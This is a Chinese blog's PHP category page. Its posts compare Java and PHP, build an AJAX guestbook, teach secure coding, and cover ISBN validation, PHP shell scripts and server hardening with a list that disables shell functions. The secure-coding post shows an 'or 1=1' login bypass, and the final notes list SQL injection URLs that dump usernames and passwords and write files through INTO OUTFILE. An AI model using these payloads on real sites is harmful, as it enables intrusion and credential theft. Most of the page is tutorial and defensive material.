阳光男孩

Never give up!

Entries for the ‘PHP’ Category

Java和PHP在Web开发方面的比较

1顶一下比较PHP和JSP这两个Web开发技术,在目前的情况是其实是比较PHP和Java的Web开发。以下是我就几个主要方面进行的比较: 一、 语言比较 PHP是解释执行的服务器脚本语言,首先php有简单容易上手的特点。语法和c语言比较象,所以学过c语言的程序员可以很快的熟悉php的开发。而java需要先学好java的语法和熟悉一些核心的类库,懂得面向对象的程序设计方法。所以java不如php好学。 Java首先要编译...[阅读全文]

1
顶一下

比较PHP和JSP这两个Web开发技术,在目前的情况是其实是比较PHP和Java的Web开发。以下是我就几个主要方面进行的比较:

一、 语言比较

PHP是解释执行的服务器脚本语言,首先php有简单容易上手的特点。语法和c语言比较象,所以学过c语言的程序员可以很快的熟悉php的开发。而java需要先学好java的语法和熟悉一些核心的类库,懂得面向对象的程序设计方法。所以java不如php好学。
Java首先要编译成字节码.class文件,然后在java虚拟机上解释执行。Java的Web开发首先最容易想到的就是JSP(现在已经到 JSP2.0),原来的java的Web开发都是用servlet来实现的,用servlet来开发需要程序员在java的源文件中嵌入大量的html代码。所以后来就出现了JSP,JSP可以方便的嵌入到html文件当中,其实jsp文件在服务器上执行的时候首先会被应用服务器转换成servlet,然后再编译执行。Jsp可以通过servlet和JavaBean的支持产生强大的功能。JavaBean 是一种可复用的、跨平台的软件组件。使用javabean可以方便的实现java代码和html的分离,能够增强系统的功能和软件的复用性。
Java的Web开发属于SUN公司定义的J2EE其中的规范。而且在J2EE中包括了java的Web开发的所有方面,如:JSP、Servlet、JDBC、JNDI、JAVABEAN、EJB等等。J2EE就特别适合于做大型的企业级的应用。

二、 数据库访问比较

Java通过JDBC来访问数据库,通过不同的数据库厂商提供的数据库驱动方便地访问数据库。访问数据库的接口比较统一。
PHP对于不同的数据库采用不同的数据库访问接口,所以数据库访问代码的通用性不强。例如:用Java开发的Web应用从MySQL数据库转到Oracle数据库只需要做很少的修改。而PHP则需要做大量的修改工作。

三、 系统设计架构比较

采用Java的Web开发技术,需要使用的是面向对象的系统设计方法,而PHP还是采用面向过程的开发方法。所以用Java进行开发前期需要做大量的系统分析和设计的工作。

四、 跨平台性

Java和PHP都有很好的跨平台的特性。几乎都可以在不作任何修改的情况下运行在Linux或者Windows等不同的操作系统上。

五、 开发成本比较

PHP最经典的组合就是:PHP + MySQL + Apache。非常适合开发中小型的Web应用,开发的速度比较快。而且所有的软件都是开源免费的,可以减少投入。
Java的Web应用服务器有免费Tomcat、JBoss等,如果需要更好的商业化的服务有:Web Sphere和 Web logic。

六、 分布式多层架构比较

PHP只能实现简单的分布式两层或三层的架构,而JAVA在这方面就比较强大,可以实现多层的网络架构。数据库层(持久化层)、应用(业务)逻辑层、表示逻辑层彼此分开,而且现在不同的层都已经有一些成熟的开发框架的支持。例如Struts就是利用java的Web开发技术实现了MVC的设计模式,而在业务逻辑层也有Spring框架,数据库持久化层有Hibernate等框架。这些框架可以方便开发者高效、合理、科学得架构多层的商业应用。

下面简要的说一下Struts,它实质上是在JSP Model2的基础上实现的一个MVC(Model、View、Controler)框架。JSP Model2体系结构是一种联合使用JSP 与Servlet 来提供动态内容的方法。在Struts框架中,模型由实现业务逻辑的JavaBean或EJB组件构成,控制器由Servlet实现的,视图由一组JSP 文件组成。采用Struts可以明确角色的定义和开发者与网页设计者的分工。而且项目越复杂,其优势越明显。

七、 源代码安全

PHP开发的程序的源代码都是公开的,他人拿到php开发的程序后都可以进行修改。
Java开发的程序,最后用户拿到的是只是一些编译好的class类,无法看到完整的源代码,安全性高。

八、性能比较

有人做过试验,对这两种种语言分别做回圈性能测试及存取Oracle数据库测试。
在循环性能测试中,JSP只用了令人吃惊的四秒钟就结束了20000*20000的回圈。而PHP测试的是2000*2000循环(少一个数量级),却分别用了63秒。
数据库测试中,二者分别对 Oracle 8 进行 1000 次 Insert,Update,Select和Delete: JSP 需要 13 秒,PHP 需要 69 秒。

项目

PHP

JAVA

可复用性

开发速度

易维护性

可移植性

优- Linux

Windows 、 Unix

安全性

开发费用

多层架构

数据库访问

接口不统一

接口统一

可扩展性

面向对象

综上所述,我个人认为,PHP适合于快速开发,中小型应用系统,开发成本低,能够对变动的需求作出快速的反应。而Java适合于开发大型的应用系统,应用的前景比较广阔,系统易维护、可复用性较好。还有,同样功能的系统用Java开发的系统要比PHP开发的系统的价格要高。

Comments (1)

jquery+ajax+xml+php简单留言板

0顶一下话不多说,如果哦看不动的去论坛上发帖 <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”> <html xmlns=”http://www.w3.org/1999/xhtml”> <head> <title>无刷jquery php xml 留言板版</title> <meta. http-equiv=”Content-Type” content=”text/html; charset=utf-...[阅读全文]

0
顶一下

话不多说,如果哦看不动的去论坛上发帖

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>无刷jquery php xml 留言板版</title>
<meta. http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<style>
* { margin:0; padding:0}
ul {list-style.:none}
#msglist{width:800px; vertical-align:text-top; margin:20px auto 0px auto; }

dt{background:url(wtp-m.png);padding:5px}
dl{border:solid 1px #8db2e3}
dd{padding:5px}
#page span{cursor: pointer;}
#commentformbox{width:800px;vertical-align:text-top;margin:20px auto 0px auto; }
#commentformbox TEXTAREA{width:400px;height:100px;vertical-align:text-top;margin:20px auto 0px auto; }
</style>
<SCRIPT. LANGUAGE=”JavaScript” src=”js/jquery-1.2.6.js”></script>
<SCRIPT. LANGUAGE=”JavaScript”>
<!–
$(document).ready(function() {

function load_msg(page)
{
$(‘#state’).html(“当前状态:正在加载数据请稍等….”);
page=$(this).html();
page=page==”undefined”?1:page;

$.post(“comments-ajax.php”,{action:”load”,page:page},function(data){
//alert($(data).find(“span”).text());

$(‘#commentlist dl’).html(data); // 追加留言数据
$(‘#commentlist dl’).find(“span”).bind(“click”,load_msg);
$(‘#state’).html(“当前状态:数据加载完毕”);
})

}

load_msg();
if ($(‘#commentform’).length) {
$(‘#commentform’).submit(function(){
jQuery.ajax({
url: ‘comments-ajax.php’, // 这里要改为 comments-ajax.php 文件的位置
data: $(‘#commentform’).serialize(), // 从表单中获取数据
type: ‘POST’, // 设置请求类型为 ‘POST’,默认为 ‘GET’
beforeSend: function() {
$(‘#state’).html(“当前状态:正在发送数据。。。。”);
},
error: function(request) {
$(‘#state’).html(request.responseText);
},
success: function(data) {
$(‘textarea’).each(function(){
this.value=”;
});

$(‘#state’).html(“当前状态:发布数据成功”);
$(‘#commentlist dl’).prepend(data); // 追加留言数据
$(‘#commentform.:input’).attr(‘disabled’, true);
$(‘#commentformbox’).fadeOut(1000);
$(‘#commentload’).hide();
setTimeout(function() { // 提交留言 15 秒后方可再次提交新留言
$(‘#commentform.:input’).removeAttr(‘disabled’);
$(‘#commentformbox’).fadeIn(15000);
}, 5000);
}
});
return false;
});
}
})

//–>
</SCRIPT>
<body>
<div ID=”state”>当前状态</div>
<div ID=”msglist”>
<div id=”commentlist”>
<dl>

</dl>
</div>
</div>

<div id=commentformbox>
<FORM. METHOD=POST ACTION=”" ID=”commentform”>
<TEXTAREA NAME=”Content” ROWS=”" COLS=”"></TEXTAREA><br><INPUT TYPE=”submit” value=”发布信息”>
</FORM>
</div>
</body>

comments-ajax.php

<?php
//==========================================
// 文件名: comments-ajax.php
// 说   明: 简单的jquery php XML 留言簿
// power by cnjquery.com
//==========================================
if ($_SERVER["REQUEST_METHOD"] != “POST”) {
header(‘Allow: POST’);
header(“HTTP/1.1 405 Method Not Allowed”);
header(“Content-type: text/plain”);
exit;
}

class guestbook extends DOMDocument
{
var $pagenum=10;

public function __construct()
{
parent:: __construct();
if (!file_exists(“guestbook.xml”))
{
$xmlstr = “<?xml version=’1.0′?><msglist></msglist>”;
$this->loadXML($xmlstr);
$this->save(“guestbook.xml”);
}
else
$this->load(“guestbook.xml”);
}
public function loadMessage($page)
{
$page=($page>0)?$page:1;
$num=($page-1)*$this->pagenum;
$roots = $this->getElementsByTagName( “msglist” );
//print_r($roots);
$root=$roots->item(0);
$msg=$root->getElementsByTagName( “msg” );
$total=$msg->length;
// echo $total;
$totalpage=ceil($total/$this->pagenum);
$totalpage=$totalpage?$totalpage:1;
$startid=$total<$num?$total:$total-$num;
$listnum=$startid>$this->pagenum?$startid-$this->pagenum:0;
//echo $startid;
//echo $listnum;
for($i=$startid-1;$i>=$listnum;$i–)
{

echo “<dt> &nbsp;&nbsp;ip:”.$msg->item($i)->getElementsByTagName(“ip”)->item(0)->nodeValue.”&nbsp;&nbsp;time:”.$msg->item($i)->getElementsByTagName(“time”)->item(0)->nodeValue.”</dt><dd>”.trim(nl2br($msg->item($i)->getElementsByTagName(“content”)->item(0)->nodeValue)).”</dd>”;
}
echo “<dt ID=page>”;
for($i=1;$i<=$totalpage;$i++)
{
echo “&nbsp;&nbsp;<span>”.$i.”</span>”;
}
echo “</dt>”;

}
public function saveMessage($clientIP,$clientTime,$postContent)
{
$msglists = $this->getElementsByTagName( “msglist” );
$msglist = $msglists->item(0);
$msg = $this->createElement( “msg” );
$ip = $this->createElement( “ip” );
$ip->appendChild( $this->createTextNode($clientIP)  );
$msg->appendChild($ip);
$time=$this->createElement( “time” );
$time->appendChild( $this->createTextNode($clientTime)  );
$msg->appendChild($time);
$content=$this->createElement( “content” );
$content->appendChild( $this->createCDATASection(nl2br(SafeHtml($_POST["Content"])))  );
$msg->appendChild($content);
$msglist->insertBefore ($msg);
$this->save(“guestbook.xml”);
echo “<dt> &nbsp;&nbsp;ip:”.$clientIP.”&nbsp;&nbsp;time:”.$clientTime.”</dt><dd>”.$postContent.”</dd>”;
}
}
$guestbook = new guestbook;
if($_POST["action"]==”load”)
{
$guestbook->loadMessage(intval($_POST["page"]));
exit;
}
$IP=$_SERVER["SERVER_ADDR"];
$time=date(“Y-m-d H:i:s”);
$content=nl2br(SafeHtml($_POST["Content"]));
$guestbook->saveMessage($IP,$time,$content);
exit;

//http://hellobmw.com/archives/ajax-comments-with-jquery-for-wordpress.html
Function SafeHtml($msg = “”,$clear_script=true)
{
if(empty($msg))
{
return false;
}
$msg = str_replace(‘&amp;’,'&’,$msg);
$msg = str_replace(‘&nbsp;’,’ ‘,$msg);
if(get_magic_quotes_gpc())
{
$msg = str_replace(“\’”,”&#39;”,$msg);
$msg = str_replace(‘\”‘,”&quot;”,$msg);
}
else
{
$msg = str_replace(“‘”,”&#39;”,$msg);
$msg = str_replace(‘”‘,”&quot;”,$msg);
}
$msg = str_replace(“<”,”&lt;”,$msg);
$msg = str_replace(“>”,”&gt;”,$msg);
$msg = str_replace(“\t”,”&nbsp; &nbsp; “,$msg);
$msg = str_replace(“\r”,”",$msg);
$msg = str_replace(“   “,”&nbsp; &nbsp;”,$msg);
if($clear_script)
{
$msg = preg_replace(“/<script(.*?)<\/script>/is”,”",$msg);
$msg = preg_replace(“/<frame(.*?)>/is”,”",$msg);
$msg = preg_replace(“/<iframe(.*?)>/is”,”",$msg);
$msg = preg_replace(“/<\/fram(.*?)>/is”,”",$msg);
}
return $msg;
}

?>

 

Comments (9)

PHP开发不能违背的安全规则

1顶一下作为PHP程序员,特别是新手,对于互联网的险恶总是知道的太少,对于外部的入侵有很多时候是素手无策的,他们根本不知道黑客是如何入侵的、提交入侵、上传漏洞、sql 注入、跨脚本攻击等等。作为最基本的防范你需要注意你的外部提交,做好第一面安全机制处理防火墙。 规则 1:绝不要信任外部数据或输入 关于Web应用程序安全性,必须认识到的第一件事是不应该信任外部数据。外部数据(outside...[阅读全文]

1
顶一下

作为PHP程序员,特别是新手,对于互联网的险恶总是知道的太少,对于外部的入侵有很多时候是素手无策的,他们根本不知道黑客是如何入侵的、提交入侵、上传漏洞、sql 注入、跨脚本攻击等等。作为最基本的防范你需要注意你的外部提交,做好第一面安全机制处理防火墙。

规则 1:绝不要信任外部数据或输入

关于Web应用程序安全性,必须认识到的第一件事是不应该信任外部数据。外部数据(outside data) 包括不是由程序员在PHP代码中直接输入的任何数据。在采取措施确保安全之前,来自任何其他来源(比如 GET 变量、表单 POST、数据库、配置文件、会话变量或 cookie)的任何数据都是不可信任的。

例如,下面的数据元素可以被认为是安全的,因为它们是在PHP中设置的。

清单 1. 安全无暇的代码
$myUsername = ‘tmyer’;
$arrayarrayUsers = array(‘tmyer’, ‘tom’, ‘tommy’);
define(“GREETING”, ‘hello there’ . $myUsername);
?>

但是,下面的数据元素都是有瑕疵的。

清单 2. 不安全、有瑕疵的代码
$myUsername = $_POST['username']; //tainted!
$arrayarrayUsers = array($myUsername, ‘tom’, ‘tommy’); //tainted!
define(“GREETING”, ‘hello there’ . $myUsername); //tainted!
?>

为什么第一个变量$myUsername 是有瑕疵的?因为它直接来自表单 POST。用户可以在这个输入域中输入任何字符串,包括用来清除文件或运行以前上传的文件的恶意命令。您可能会问,“难道不能使用只接受字母 A-Z 的客户端(Javascrīpt)表单检验脚本来避免这种危险吗?”是的,这总是一个有好处的步骤,但是正如在后面会看到的,任何人都可以将任何表单下载 到自己的机器上,修改它,然后重新提交他们需要的任何内容。

解决方案很简单:必须对$_POST['username'] 运行清理代码。如果不这么做,那么在使用$myUsername的任何其他时候(比如在数组或常量中),就可能污染这些对象。对用户输入进行清理的一个简 单方法是,使用正则表达式来处理它。在这个示例中,只希望接受字母。将字符串限制为特定数量的字符,或者要求所有字母都是小写的,这可能也是个好主意。

清单 3. 使用户输入变得安全
$myUsername = cleanInput($_POST['username']); //clean!
$arrayarrayUsers = array($myUsername, ‘tom’, ‘tommy’); //clean!
define(“GREETING”, ‘hello there’ . $myUsername); //clean!
function cleanInput($input){   $clean = strtolower($input);
$clean = preg_replace(“/[^a-z]/”, “”, $clean);
$clean = substr($clean,0,12);return $clean;
}
?>

规则 2:禁用那些使安全性难以实施的PHP设置

已经知道了不能信任用户输入,还应该知道不应该信任机器上配置 PHP 的方式。例如,要确保禁用 register_globals。如果启用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替换同名的 GET 或 POST 字符串。通过禁用这个设置,PHP 强迫您在正确的名称空间中引用正确的变量。要使用来自表单 POST 的变量,应该引用 $_POST['variable']。这样就不会将这个特定变量误会成 cookie、会话或 GET 变量。

规则 3:如果不能理解它,就不能保护它

一些开发人员使用奇怪的语法,或者将语句组织得很紧凑,形成简短但是含义模糊的代码。这种方式可能效率高,但是如果您不理解代码正在做什么,那么就无法决定如何保护它。例如,您喜欢下面两段代码中的哪一段?

清单 4. 使代码容易得到保护
//obfuscated code
$input = (isset($_POST['username']) ? $_POST['username']:”);
//unobfuscated code
$input = ”;
if (isset($_POST['username'])){
$input = $_POST['username'];
}else{
$input = ”;
}

在第二个比较清晰的代码段中,很容易看出 $input 是有瑕疵的,需要进行清理,然后才能安全地处理。

规则 4:“纵深防御” 是新的法宝

本教程将用示例来说明如何保护在线表单,同时在处理表单的 PHP 代码中采用必要的措施。同样,即使使用 PHP regex 来确保 GET 变量完全是数字的,仍然可以采取措施确保 SQL 查询使用转义的用户输入。纵深防御不只是一种好思想,它可以确保您不会陷入严重的麻烦。既然已经讨论了基本规则,现在就来研究第一种威胁:SQL 注入攻击。

◆防止SQL注入攻击

在SQL注入攻击中,用户通过操纵表单或 GET 查询字符串,将信息添加到数据库查询中。例如,假设有一个简单的登录数据库。这个数据库中的每个记录都有一个用户名字段和一个密码字段。构建一个登录表单,让用户能够登录。

<html>
<head>
<title>Login</title>
</head>
<body>
<form action=”verify.php” method=”post”>
<p><label for=’user’>Username</label>
<input type=’text’ name=’user’ id=’user’/>
</p> <p><label for=’pw’>Password</label>
<input type=’password’ name=’pw’ id=’pw’/>
</p> <p><input type=’submit’ value=’login’/></p>
</form>
</body>
</html>

这个表单接受用户输入的用户名和密码,并将用户输入提交给名为verify.php的文件。在这个文件中,PHP处理来自登录表单的数据,如下所示:

清单 5. 不安全的 PHP 表单处理代码
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = “select count(*) as ctr from users where username=’”.$username.”‘ and password=’”. $pw.”‘ limit 1″;
$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){
if ($data->ctr == 1){
//they’re okay to enter the application!
$okay = 1;
}
}
if ($okay){
$_SESSION['loginokay'] = true;
header(“index.php”);
}else{
header(“login.php”);
}
?>

这段代码看起来没问题,对吗?世界各地成百(甚至成千)的 PHP/MySQL 站点都在使用这样的代码。它错在哪里?好,记住 “不能信任用户输入”。这里没有对来自用户的任何信息进行转义,因此使应用程序容易受到攻击。具体来说,可能会出现任何类型的SQL注入攻击。例如,如果 用户输入 foo 作为用户名,输入 ‘ or ’1′=’1 作为密码,那么实际上会将以下字符串传递给 PHP,然后将查询传递给 MySQL:

<?php
$sql = “select count(*) as ctr from users where username=’foo’ and password=” or ’1′=’1′ limit 1″;
?>

这个查询总是返回计数值 1,因此 PHP 会允许进行访问。通过在密码字符串的末尾注入某些恶意 SQL,黑客就能装扮成合法的用户。解决这个问题的办法是,将 PHP 的内置 mysql_real_escape_string() 函数用作任何用户输入的包装器。这个函数对字符串中的字符进行转义,使字符串不可能传递撇号等特殊字符并让 MySQL 根据特殊字符进行操作。清单7展示了带转义处理的代码。

清单7展示了带转义处理的代码
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = ”select count(*) as ctr from users where username=’”.mysql_real_escape_string($username).”‘ and password=’”. mysql_real_escape_string($pw).”‘ limit 1″;
$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){
       if ($data->ctr == 1){          //they’re okay to enter the application!
       $okay = 1;
       }
      }
       if ($okay){
           $_SESSION['loginokay'] = true;
           header(“index.php”);
           }
        else{
        header(“login.php”);
      }
?>

使用 mysql_real_escape_string() 作为用户输入的包装器,就可以避免用户输入中的任何恶意 SQL 注入。如果用户尝试通过 SQL 注入传递畸形的密码,那么会将以下查询传递给数据库:

Comments (194)

PHP校验ISBN码的函数

0顶一下最近在编写一个图书管理程序的时候,需要校验图书ISBN码正确性,查了一些资料,了解了图书ISBN码的构成,详细资料可以参考:国际标准书号 – 维基百科,下面还是简述一下什么是ISBN码: 国际标准书号(International Standard Book Number,ISBN;拟发音is-ben),是国际通用的图书或独立的出版物(除定期出版的期刊)代码。出版社可以通过国际标准书号清晰的辨认所有非 期刊书籍。一个国...[阅读全文]

0
顶一下

最近在编写一个图书管理程序的时候,需要校验图书ISBN码正确性,查了一些资料,了解了图书ISBN码的构成,详细资料可以参考:国际标准书号 – 维基百科,下面还是简述一下什么是ISBN码:

国际标准书号(International Standard Book Number,ISBN;拟发音is-ben),是国际通用的图书或独立的出版物(除定期出版的期刊)代码。出版社可以通过国际标准书号清晰的辨认所有非 期刊书籍。一个国际标准书号只有一个或一份相应的出版物与之对应。新版本如果在原来旧版的基础上没有内容上太大的变动,在出版时也不会得到新的国际标准书 号码。当平装本改为精装本出版时,原来相应的国际标准书号号码也应当收回。

平常我们能够见到的ISBN码有10位和13位两种,其中10位的ISBN自2007年1月起已经停止使用,目前新出版的图书ISBN码都是13 位。考虑到一个严谨的图书管理程序要考虑到多方面的问题,因为10位ISBN码的图书还是有巨大的存世量的,所以要校验图书ISBN码的正确性,就必须同 时考虑10位和13位的情况。从维基百科可以了解到ISBN码最后一位是校验码,其实要想校验ISBN码的正确,就是通过计算ISBN的校验码,看是否与 最后一位吻合。这里所说的校验也只是校验ISBN在构成上是否合法,而不会校验是否为已发行图书的ISBN。下面是维基百科提供的ISBN码校验算法:

校验码的计算方法(10码)

假设某国际标准书号号码前9位是:7-309-04547

计算加权和S:S = 7×10+3×9+0×8+9×7+0×6+4×5+5×4+4×3+7×2 = 226

计算S÷11的余数M:M = 226 mod 11 = 6

计算11 – M 的差N:N = 11 ? 6 = 5

如果N = 10,校验码是字母”X”

如果N = 11,校验码是数字”0″

如果N为其他数字,校验码是数字N

所以,本书的校验码是5;如果用户提供的ISBN码是7-309-04547-6,那么校验失败

校验码的计算方法(13码)

假设某国际标准书号号码前12位是:978-986-181-728

计算加权和S:S = (9×1)+(7×3)+(8×1)+(9×3)+(8×1)+(6×3)+(1×1)+(8×3)+(1×1)+(7×3)+(2×1)+(8×3) = 164

计算S÷10的余数M:M = 164 mod 10 = 4

计算10 – M 的差N:N = 10 ? 4 = 6

如果N = 10,校验码是数字”0″

如果N为其他数字,校验码是数字N

所以,本书的校验码是6。完整的国际标准书号号码为 ISBN 978-986-181-728-6

Comments (252)

在linux下利用crontab定时执行PHP脚本

0顶一下最近急需这种方法,记录一下,有空的时候尝试^^ 在 linux下,可以使用crontab + php的方法: 1、使用crontab –e编辑定时任务 内容为: xx:xx:xx 执行一个test.php文件 2、php文件必须在文件头一行,加上解释器路径(就象perl做的那样) #!/usr/local/bin/php PHP的执行需要Apache的支持,shell脚本的执行需要Linux的支持,而Linux支持定时运行某个程序的功能 ———————————————...[阅读全文]

0
顶一下

最近急需这种方法,记录一下,有空的时候尝试^^

在 linux下,可以使用crontab + php的方法:

1、使用crontab –e编辑定时任务

内容为:

xx:xx:xx 执行一个test.php文件

2、php文件必须在文件头一行,加上解释器路径(就象perl做的那样)

#!/usr/local/bin/php

PHP的执行需要Apache的支持,shell脚本的执行需要Linux的支持,而Linux支持定时运行某个程序的功能

—————————————————————

将PHP作为Shell脚本语言使用(转载)

–英文原着:Darrell Brogdon,发表于 http://www.phpbuilder.com/columns/darrell20000319.php3)

可能很多人都想过使用PHP编写一些定时发信之类的程序,但是却没有办法定时执行PHP;一次去PHPBuilder的时候,发现了这一篇文 章,于是想给大家翻译一下(同时做了一些修改),希望对大家有用。

———————————————————————————-

我们都知道,PHP是一种非常好的动态网页开发语言(速度飞快,开发周期短……)。但是只有很少数的人意识到PHP也可以很好的作为编写 Shell脚本的语言,当PHP作为编写Shell脚本的语言时,他并没有Perl或者Bash那么强大,但是他却有着很好的优势,特别是对于我这种熟悉 PHP但是不怎么熟悉Perl的人。

要使用PHP作为Shell脚本语言,你必须将PHP作为二进制的CGI编译,而不是Apache模式;编译成为二进制CGI模式运行的PHP 有一些安全性的问题,关于解决的方法可以参见PHP手册(http://www.php.net)。

一开始你可能会对于编写Shell脚本感到不适应,但是会慢慢好起来的:将PHP作为一般的动态网页编写语言和作为Shell脚本语言的唯一不 同就在于一个Shell脚本需要在第一行生命解释本脚本的程序路径:

#!/usr/local/bin/php -q

我们在PHP执行文件后面加入了参数“-1”,这样子PHP就不会输出HTTPHeader(如果仍需要作为Web的动态网页,那么你需要自己 使用header函数输出HTTPHeader)。当然,在Shell脚本的里面你还是需要使用PHP的开始和结束标记:

现在让我们看一个例子,以便于更好的了解用PHP作为Shell脚本语言的使用:

#!/usr/local/bin/php -q

print(“Hello, world!\n”);

?>

上面这个程序会简单的输出“Hello, world!”到显示器上。

一、传递Shell脚本运行参数给PHP:

作为一个Shell脚本,经常会在运行程序时候加入一些参数,PHP作为Shell脚本时有一个内嵌的数组“$argv”,使用“$argv” 数组可以很方便的读取Shell脚本运行时候的参数(“$argv[1]”对应的是第一个参数,“$argv[2]”对应的是第二个参数,依此类推)。比 如下面这个程序:

#!/usr/local/bin/php -q

$first_name = $argv[1];

$last_name = $argv[2];

printf(“Hello, %s %s! How are you today?\n”, $first_name, $last_name);

?>

上面的代码在运行的时候需要两个参数,分别是姓和名,比如这样子运行:

[dbrogdon@artemis dbrogdon]$ scriptname.ph Darrell Brogdon

Shell脚本在显示器上面会输出:

Hello, Darrell Brogdon! How are you today?

[dbrogdon@artemis dbrogdon]$

在PHP作为动态网页编写语言的时候也含有“$argv”这个数组,不过和这里有一些不同:当PHP作为Shell脚本语言的时候 “$argv[0]”对应的是脚本的文件名,而当用于动态网页编写的时候,“$argv[1]”对应的是QueryString的第一个参数。

二、编写一个具有交互式的Shell脚本:

如果一个Shell脚本仅仅是自己运行,失去了交互性,那么也没有什么意思了。当PHP用于Shell脚本的编写的时候,怎么读取用户输入的信 息呢?很不幸的是PHP自身没有读取用户输入信息的函数或者方法,但是我们可以效仿其他语言编写一个读取用户输入信息的函数“read”:

function read() {

$fp = fopen(‘/dev/stdin’, ‘r’);

$input = fgets($fp, 255);

fclose($fp);

return $input;

}

?>

需要注意的是上面这个函数只能用于Unix系统(其他系统需要作相应的改变)。上面的函数会打开一个文件指针,然后读取一个不超过255字节的 行(就是fgets的作用),然后会关闭文件指针,返回读取的信息。

现在我们可以使用函数“read”将我们前面编写的程序1修改一下,使他更加具有“交互性”了:

#!/usr/local/bin/php -q

function read() {

$fp = fopen(‘/dev/stdin’, ‘r’);

$input = fgets($fp, 255);

fclose($fp);

return $input;

}

print(“What is your first name? “);

$first_name = read();

print(“What is your last name? “);

$last_name = read();

print(“\nHello, $first_name $last_name! Nice to meet you!\n”);

?>

将上面的程序保存下来,运行一下,你可能会看到一件预料之外的事情:最后一行的输入变成了三行!这是因为“read”函数返回的信息还包括了用 户每一行的结尾换行符“\n”,保留到了姓和名中,要去掉结尾的换行符,需要把“read”函数修改一下:

function read() {

$fp = fopen(‘/dev/stdin’, ‘r’);

$input = fgets($fp, 255);

fclose($fp);

$input = chop($input); // 去除尾部空白

return $input;

}

?>

三、在其他语言编写的Shell脚本中包含PHP编写的Shell脚本:

有时候我们可能需要在其他语言编写的Shell脚本中包含PHP编写的Shell脚本。其实非常简单,下面是一个简单的例子:

#!/bin/bash

echo This is the Bash section of the code.

/usr/local/bin/php -q << EOF

print(“This is the PHP section of the code\n”);

?>

EOF

其实就是调用PHP来解析下面的代码,然后输出;那么,再试试下面的代码:

#!/bin/bash

echo This is the Bash section of the code.

/usr/local/bin/php -q << EOF

$myVar = ‘PHP’;

print(“This is the $myVar section of the code\n”);

?>

EOF

可以看出两次的代码唯一的不同就是第二次使用了一个变量“$myVar”,试试运行,PHP竟然给出出错的信息:“Parse error: parse error in – on line 2”!这是因为Bash中的变量也是“$myVar”,而Bash解析器先将变量给替换掉了,要想解决这个问题,你需要在每个PHP的变量前面加上“\” 转义符,那么刚才的代码修改如下:

#!/bin/bash

echo This is the Bash section of the code.

/usr/local/bin/php -q << EOF

\$myVar = ‘PHP’;

print(“This is the \$myVar section of the code\n”);

?>

Comments (342)

Linux有效防御PHP木马攻击的技巧

0顶一下1、防止跳出web目录 首先修改httpd.conf,如果你只允许你的php脚本程序在web目录里操作,还可以修改httpd.conf文件限制php的操作路 径。比如你的web目录是/usr/local/apache/htdocs,那么在httpd.conf里加上这么几行: php_admin_value open_basedir /usr/local/apache/htdocs 这样,如果脚本要读取/usr/local/apache/htdocs以外的文件将不会被允许,如果错误显示打开的话会提示这样的错误...[阅读全文]

0
顶一下

1、防止跳出web目录

首先修改httpd.conf,如果你只允许你的php脚本程序在web目录里操作,还可以修改httpd.conf文件限制php的操作路 径。比如你的web目录是/usr/local/apache/htdocs,那么在httpd.conf里加上这么几行:

php_admin_value open_basedir /usr/local/apache/htdocs

这样,如果脚本要读取/usr/local/apache/htdocs以外的文件将不会被允许,如果错误显示打开的话会提示这样的错误:

Warning: open_basedir restriction in effect. File is in wrong directory

/usr/local/apache/htdocs/open.php on line 4

等等。

2、防止php木马执行webshell

打开safe_mode,

在,php.ini中设置

disable_functions= passthru,exec,shell_exec,system

二者选一即可,也可都选

3、防止php木马读写文件目录

在php.ini中的

disable_functions= passthru,exec,shell_exec,system

后面加上php处理文件的函数

主要有

fopen,mkdir,rmdir,chmod,unlink,dir

fopen,fread,fclose,fwrite,file_exists

closedir,is_dir,readdir.opendir

fileperms.copy,unlink,delfile

即成为

disable_functions= passthru,exec,shell_exec,system,fopen,mkdir,rmdir,chmod,unlink,dir,fopen,fread,fclose,fwrite,file_exists

,closedir,is_dir,readdir.opendir

,fileperms.copy,unlink,delfile

ok,大功告成,php木马拿我们没辙了,遗憾的是这样的话,利用文本数据库的那些东西就都不能用了。

如果是在windos平台下搭建的apache我们还需要注意一点,apache默认运行是system权限,这很恐怖,这让人感觉很不爽.那 我们就给apache降降权限吧。

net user apache fuckmicrosoft /add

net localgroup users apache /del  ok.我们建立了一个不属于任何组的用户apche。

我们打开计算机管理器,选服务,点apache服务的属性,我们选择log on,选择this account,我们填入上面所建立的账户和密码,重启apache服务,ok,apache运行在低权限下了。

实际上我们还可以通过设置各个文件夹的权限,来让apache用户只能执行我们想让它能干的事情,给每一个目录建立一个单独能读写的用户。这也 是当前很多虚拟主机提供商的流行配置方法哦,不过这种方法用于防止这里就显的有点大材小用了。

Comments (272)

浅谈PHP的SQL语法注入

1顶一下SQL注入的重点就是构造SQL语句,只有灵活的运用SQL 语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了 解SQL的基本原理。笔记中的代码来自网络。 ===基础部分=== 本表查询: http://127.0.0.1/injection/user.php?username=angel’ and LENGTH(password)=’6 http://127.0.0.1/injection/user.php?username=angel’ and LEFT(...[阅读全文]

1
顶一下

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel’ and LENGTH(password)=’6
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,1)=’m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1′ union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=’ union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel’ into outfile ‘c:/file.txt
http://127.0.0.1/injection/user.php?username=’ or 1=1 into outfile ‘c:/file.txt
